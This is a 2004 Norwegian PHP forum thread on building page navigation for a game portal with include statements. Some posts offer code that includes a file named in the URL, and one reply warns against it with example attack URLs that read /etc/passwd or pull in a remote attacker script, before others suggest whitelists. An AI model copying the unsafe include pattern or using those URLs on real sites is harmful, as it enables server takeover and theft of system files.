XaroN_ Skrevet 19. april 2004 Del Skrevet 19. april 2004 (endret) hei, jeg driver å jobber med en spill portal, så er det en ting jeg lurer på.. for jeg er ganske fersk med php. Jeg har altså linket til en side: <?php if ($side == "Nyheter"){ include("news/news.php"); } elseif ($side == "Spill"){ include("spill.php"); } else{ include("news/news.php"); } ?> så lurte jeg på en liten ting, inn på spill siden, så skal jeg ha flere linker... hvordan kan jeg da dra denne linkingen lengere, hvis dere skjønner hva jeg mener =) altså, legge flere kategorier i selve spill linken. Endret 19. april 2004 av XaroN_ Lenke til kommentar
pgdx Skrevet 20. april 2004 Del Skrevet 20. april 2004 Jeg synes du har gjort det på en vrien måte der... <?php $side = $_GET['side']; include("$side.php"); ?> Det er vel den letteste. Spør du meg. Jeg skjønte ikke helt spørsmålet, men mener du å include to forskjellige sider? Da kan du bare lage linkene slik: index.php?side=news&meny=spillmeny Lenke til kommentar
Smidt Skrevet 20. april 2004 Del Skrevet 20. april 2004 <? $side = $_GET['side']; if (!file_exists($side . '.php')) { $side = 'forside'; } if (empty($side)) { $side = 'forside'; } $siden = "./$side.php"; include($siden); ?> litt mer fullstendig versjon av toolshed sin. det den egentlig gjør er å hente det som skrives som side= i adresselinjen, om det ikke finnes eller det er tomt der settes siden til forside, eller du kan legge inn en 404. Lenke til kommentar
Svendsen Skrevet 20. april 2004 Del Skrevet 20. april 2004 Ellers kan jeg anbefale deg å se på switch som en erstatning til lange if setninger... LINK JEg bruker dette på enkelte sider, det kan brukes som et include script, men er og kjekt at man kan ha kode rett i index fila. Hvis man bare har en liten utlisting function så er det jo lettere å legge den i index fila enn å lage en ny og include den. Men det er jo klart at man må ha litt sånt da for at det skal lønne seg. Lenke til kommentar
Torbjørn Skrevet 20. april 2004 Del Skrevet 20. april 2004 (endret) Jeg synes du har gjort det på en vrien måte der...<?php $side = $_GET['side']; include("$side.php"); ?> Det er vel den letteste. Spør du meg. Jeg skjønte ikke helt spørsmålet, men mener du å include to forskjellige sider? Da kan du bare lage linkene slik: index.php?side=news&meny=spillmeny dette er kronisk usikkert og årsaken til mange vellykkede hacker-angrep og deface'de servere. aldri la besøkeren bestemme direkte hvilken fil som skal inkluderes, gjør det vha indeksering f.eks EDIT: eller slik som trådstarter har foreslått selv Endret 20. april 2004 av Torbjørn Lenke til kommentar
Smidt Skrevet 20. april 2004 Del Skrevet 20. april 2004 Jeg synes du har gjort det på en vrien måte der...<?php $side = $_GET['side']; include("$side.php"); ?> Det er vel den letteste. Spør du meg. Jeg skjønte ikke helt spørsmålet, men mener du å include to forskjellige sider? Da kan du bare lage linkene slik: index.php?side=news&meny=spillmeny dette er kronisk usikkert og årsaken til mange vellykkede hacker-angrep og deface'de servere. aldri la besøkeren bestemme direkte hvilken fil som skal inkluderes, gjør det vha indeksering f.eks EDIT: eller slik som trådstarter har foreslått selv hvis du har en login med session og legger en php kode i toppen av hver fil som skal beskyttes kan du vel bruke er script som henter den filen brukeren vil? Lenke til kommentar
Svendsen Skrevet 20. april 2004 Del Skrevet 20. april 2004 uansett så hvis du sjekker om filen eksiterer, slik som du gjør smidt, burde det jo være greit. Dessuten den linken jeg ga, der vil man bli sendt til default om variablen ikke finnes. Lenke til kommentar
Torbjørn Skrevet 20. april 2004 Del Skrevet 20. april 2004 Jeg synes du har gjort det på en vrien måte der...<?php $side = $_GET['side']; include("$side.php"); ?> Det er vel den letteste. Spør du meg. Jeg skjønte ikke helt spørsmålet, men mener du å include to forskjellige sider? Da kan du bare lage linkene slik: index.php?side=news&meny=spillmeny dette er kronisk usikkert og årsaken til mange vellykkede hacker-angrep og deface'de servere. aldri la besøkeren bestemme direkte hvilken fil som skal inkluderes, gjør det vha indeksering f.eks EDIT: eller slik som trådstarter har foreslått selv hvis du har en login med session og legger en php kode i toppen av hver fil som skal beskyttes kan du vel bruke er script som henter den filen brukeren vil? det spørs om du stoler på brukerne. jeg ser ingen grunn til å stole på at brukere som registrerer seg på mine sider ikke kommer til å prøve å roote min server. jeg vet ingenting om hvor skjødesløse de er med sitt passord og hvis de tar over servern kan de også teoretisk skjule alle spor. Lenke til kommentar
Smidt Skrevet 20. april 2004 Del Skrevet 20. april 2004 det spørs om du stoler på brukerne. jeg ser ingen grunn til å stole på at brukere som registrerer seg på mine sider ikke kommer til å prøve å roote min server. jeg vet ingenting om hvor skjødesløse de er med sitt passord og hvis de tar over servern kan de også teoretisk skjule alle spor. er ikke snakk om registrering her. de som har passord og brukernavn vet jeg hvem er og disse vil ikke gjøre noe skade. vil da de som ikke har passord eller brukernavn ha mulighet til å gjøre noe skade med en sånt script? Lenke til kommentar
Torbjørn Skrevet 20. april 2004 Del Skrevet 20. april 2004 så lenge hvem som helst kan få inkludere hva de vil på din side, så teoretisk ja. dette er meget dårlig praksis. Lenke til kommentar
Smidt Skrevet 20. april 2004 Del Skrevet 20. april 2004 så lenge hvem som helst kan få inkludere hva de vil på din side, så teoretisk ja. dette er meget dårlig praksis. men jeg forstår ikke helt problemet? når de kan includere vet de også hvor filen er( noe jeg ikke kan hindre de i å finne ut) hvorfor kan de da ikke bare gå direkte til filen de vil ha? Lenke til kommentar
Torbjørn Skrevet 20. april 2004 Del Skrevet 20. april 2004 # "relativt" uskyldig, hvis man ikke føyer på .php: http://din.url.com/index.php?side=/etc/passwd .. vil vise brukerdatabasen # varsku her... http://din.url.com/index.php?side=http://o...ker/sitt/script i det siste eksemplet inkluderer du phpkode i klartekst fra adressen angitt... han kan da kjøre hva han vil av phpkode på din server. Lenke til kommentar
Neo Skrevet 20. april 2004 Del Skrevet 20. april 2004 (endret) så lenge hvem som helst kan få inkludere hva de vil på din side, så teoretisk ja. dette er meget dårlig praksis. men jeg forstår ikke helt problemet? når de kan includere vet de også hvor filen er( noe jeg ikke kan hindre de i å finne ut) hvorfor kan de da ikke bare gå direkte til filen de vil ha? Tja, dersom du har en dårlig konfigurert webserver i *nix kan jo bare brukeren requeste noe slikt som "/etc/passwd" og nappe ut passordfila di. Og dersom du av en syk grunn lar root kjøre webserveren kan han jo bare hente shadowfila i samme slengen og så har han noe å leke med. Serveren har jo tilgang til langt flere filer enn det brukeren kan hente ut vha addresselinja i browseren. Uansett veldig dum måte å bygge en side på. Er det en sikkerhetsrisiko så hold deg unna. Støtter Torbjørn fullt og helt i den saken her. Edit: Pokker, han var før meg gitt... Endret 20. april 2004 av Neo Lenke til kommentar
???????? Skrevet 20. april 2004 Del Skrevet 20. april 2004 Torbjørn og Neo har rett. Sjekk variabelen etter . eller / finnes noen av de så includer du hovedsiden. Plasser sidene som det skal være mulig å inkludere i en egen mappe slik at de ikke kan inkludere andre filer som ligger i hovedmappen. Lenke til kommentar
pgdx Skrevet 20. april 2004 Del Skrevet 20. april 2004 At mitt forslag var dårlig er det jo ikke tvil om. Jeg mente ikke at han skulle bruke det jeg skrev direkte uten omskriving. Jeg mente bare at han burde includere en variabel for å slippe alle if-ene. De skriptene jeg pleier å bruke er veldig likt Smidt sitt, nemlig at den sjekker om filen eksisterer, og hvis ikke includer en 404-fil. Lenke til kommentar
XaroN_ Skrevet 20. april 2004 Forfatter Del Skrevet 20. april 2004 (endret) jeg forklarte det på en dårlig måte... på indexen så har jeg den koden som jeg skrev på toppen. når man trykker på linken "spill" så kommer mann inn på en ny side, der man kan velge hvilket spill man skal lese om. jeg trenger en enkel måte å organisere disse linkene. jeg leter ikke etter en annen måte, for jeg liker det sånn som jeg har det =P. Endret 20. april 2004 av XaroN_ Lenke til kommentar
eXZire Skrevet 20. april 2004 Del Skrevet 20. april 2004 Smidt sin var vel greit (la på en ./ før $side), men bare det å sjekke at siden eksisterer vil neppe hjelpe.. Jeg selv bruker en slags indeksering.. helt sikkert, ikke noe tull.. men nå har ikke jeg så mange seksjoner på siden min da, har man MANGE seksjoner, kan det bli tull.. (Da snakker jeg MANGE.. legge inn 30-40 stk er ikke noe prob..) ##Eksempel: $tillat_seksjon = ""; $tillat_seksjon = array("nyheter" => ".php", "admin" => ".php"); if(!($seksjon)) { #Grunnen til denne er at array_key_existst i neste if klager villt om $seksjon ikke finnes...;) $seksjon = "nyheter"; }; if(array_key_exists($seksjon, $tillat_seksjon)) { include("$seksjon" . $tillat_seksjon[$seksjon]); } else { include("nyheter.php"); }; Her er det da bare lov å sette "nyheter" og "admin" inn i $seksjon.. om $seksjon er noe annet blir bare nyheter.php inkludert.. om man vil ha flere sider, er det bare å legge inn flere sider i $tillat_seksjon arrayet.. MEN: over til XaroN_ i spill.php kan du jo også bruke en if eller en switch... if($_GET['spill'] == "Halo_2") { include("spill/halo_2.php"); } elseif(blablabla) { include bla-bla; } else { echo "Velg spill:<br><a href='?side=Spill&spill=Halo_2'>Halo2</a><br>osv...."; }; Eller med switch.... switch($spill) { case Halo_2: include("spill/halo_2.php"); break; case Halflife2: include("spill/halflife2.php"); break; default: echo "Velg spill:<br><a href='?side=Spill&spill=Halo_2'>Halo2</a><br>osv...."; break; }; Kan være tungvint med mange spill, men det virka som om det var slik som dette du ville ha det Lenke til kommentar
pgdx Skrevet 20. april 2004 Del Skrevet 20. april 2004 eXZire: & i linker skal skrives & Lenke til kommentar
eXZire Skrevet 20. april 2004 Del Skrevet 20. april 2004 "Skal" faktisk.. Skal nok ikke det i php gitt.. kan godt hende man kan det, aner jeg ikke, men er da absolutt ikke noe som gjør at jeg ikke kan bruke &.... Lenke til kommentar
XaroN_ Skrevet 20. april 2004 Forfatter Del Skrevet 20. april 2004 (endret) det kommer nok mange spill etterhvert. =P Endret 20. april 2004 av XaroN_ Lenke til kommentar
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå